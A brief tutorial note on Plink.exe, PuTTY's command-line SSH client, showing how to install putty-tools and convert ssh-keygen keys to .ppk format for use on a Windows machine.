Plinx.exe

Plink.exe is a Windows command line version of the PuTTY SSH client.

Now that Windows comes with its own inbuilt SSH client, plink is less useful for modern servers; however, it is still a very useful tool, so we will cover it here.

Windows Servers

# Note !
# Keys generated by ssh-keygen will not work properly here.

# Convert them using the "puttygen" tool :
sudo apt install putty-tools

# Conversion can be done with :
puttygen KEYFILE -o OUTPUT_KEY.ppk

# The resulting .ppk file can then be transferred to the Windows target
